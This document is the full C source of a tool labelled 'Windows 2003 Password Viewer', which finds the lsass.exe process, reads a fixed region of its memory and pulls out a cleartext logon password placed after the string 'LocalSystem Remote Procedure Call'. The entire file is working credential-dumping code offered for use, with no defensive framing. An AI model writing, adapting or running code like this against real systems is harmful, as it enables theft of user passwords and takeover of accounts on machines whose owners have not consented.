-
-
-
-
-
-
-
-
-
-
- #include <stdio.h>
- #include <windows.h>
- #include <tlhelp32.h>
-
- #define BaseAddress 0x002b5000 // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable
-
- char Password[MAX_PATH] = {0};
-
-
-
- BOOL FindPassword(DWORD PID);
- int Search(char *Buffer,const UINT nSize);
- DWORD GetLsassPID();
- BOOL Is2003();
-
-
-
- int main()
- {
- DWORD PID = 0;
- printf("Windows 2003 Password Viewer V1.0 By WinEggDrop\n\n");
-
- if (!Is2003())
- {
- printf("The Program Can't Only Run On Windows 2003 Platform\n");
- return -1;
- }
-
- PID = GetLsassPID();
-
- if (PID == 0)
- {
- return -1;
- }
-
- FindPassword(PID);
- return 0;
- }
-
-
-
-
-
-
-
-
-
-
-
-
-
- int Search(char *Buffer,const UINT nSize)
- {
- UINT OffSet = 0;
- UINT i = 0;
- UINT j = 0 ;
- UINT Count = 0;
- if (Buffer == NULL)
- {
- return -1;
- }
- for (i = 0 ; i < nSize ; i++)
- {
- /* The Below Is To Find The Magic String,Why So Complicated?That Will Thank MS.The Separation From Word To Word
- Is Not Separated With A Space,But With A Ending Character,So Any Search API Like strstr() Will Fail To Locate
- The Magic String,We Have To Do It Manually And Slowly
- */
- if (Buffer[i] == 'L')
- {
- OffSet = 0;
- if (strnicmp(&Buffer[i + OffSet],"LocalSystem",strlen("LocalSystem")) == 0)
- {
- OffSet += strlen("LocalSystem") + 1;
- if (strnicmp(&Buffer[i + OffSet],"Remote",strlen("Remote")) == 0)
- {
- OffSet += strlen("Remote") + 1;
- if (strnicmp(&Buffer[i + OffSet],"Procedure",strlen("Procedure")) == 0)
- {
- OffSet += strlen("Procedure") + 1;
- if (strnicmp(&Buffer[i + OffSet],"Call",strlen("Call")) == 0)
- {
- i += OffSet;
- break;
- }
- }
- }
- }
- }
- }
- if (i < nSize)
- {
- ZeroMemory(Password,sizeof(Password));
- for (; i < nSize ; i++)
- {
- if (Buffer[i] == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0)
- {
-
-
-
- j = i + 7;
- for (; j < nSize; j += 2)
- {
- if (Buffer[j] > 0)
- {
- Password[Count++] = Buffer[j];
- }
- else
- {
- break;
- }
- }
- return i + 7;
- }
- }
- }
- return -1;
- }
-
-
-
-
-
-
-
- DWORD GetLsassPID()
- {
- HANDLE hProcessSnap;
- HANDLE hProcess = NULL;
- PROCESSENTRY32 pe32;
- DWORD PID = 0;
-
- hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if( hProcessSnap == INVALID_HANDLE_VALUE )
- {
- printf("Fail To Create Snap Shot\n");
- return 0;
- }
-
- pe32.dwSize = sizeof(PROCESSENTRY32);
-
- if( !Process32First(hProcessSnap, &pe32))
- {
- CloseHandle(hProcessSnap);
- return 0;
- }
-
- do
- {
- if (strcmpi(pe32.szExeFile,"Lsass.EXE") == 0)
- {
- PID = pe32.th32ProcessID;
- break;
- }
- }while(Process32Next( hProcessSnap, &pe32));
-
- CloseHandle( hProcessSnap);
- return PID;
- }
-
-
-
-
-
-
-
-
- BOOL FindPassword(DWORD PID)
- {
- HANDLE hProcess = NULL;
- char Buffer[5 * 1024] = {0};
- DWORD ByteGet = 0;
- int Found = -1;
-
- hProcess = OpenProcess(PROCESS_VM_READ,FALSE,PID);
- if (hProcess == NULL)
- {
- printf("Fail To Open Process\n");
- return FALSE;
- }
-
- if (!ReadProcessMemory(hProcess,(PVOID)BaseAddress,Buffer,5 * 1024,&ByteGet))
- {
- printf("Fail To Read Memory\n");
- CloseHandle(hProcess);
- return FALSE;
- }
-
- CloseHandle(hProcess);
-
- Found = Search(Buffer,ByteGet);
- if (Found >= 0)
- {
- if (strlen(Password) > 0)
- {
- printf("Found Password At #0x%x -> \"%s\"\n",Found + BaseAddress,Password);
- }
- }
- else
- {
- printf("Fail To Find The Password\n");
- }
- return TRUE;
- }
-
-
-
-
-
-
-
- BOOL Is2003()
- {
- OSVERSIONINFOEX osvi;
- BOOL b0sVersionInfoEx;
- ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
- osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
-
- if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi)))
- {
- osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
- }
- return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);
- }
-
-
-
-
-
-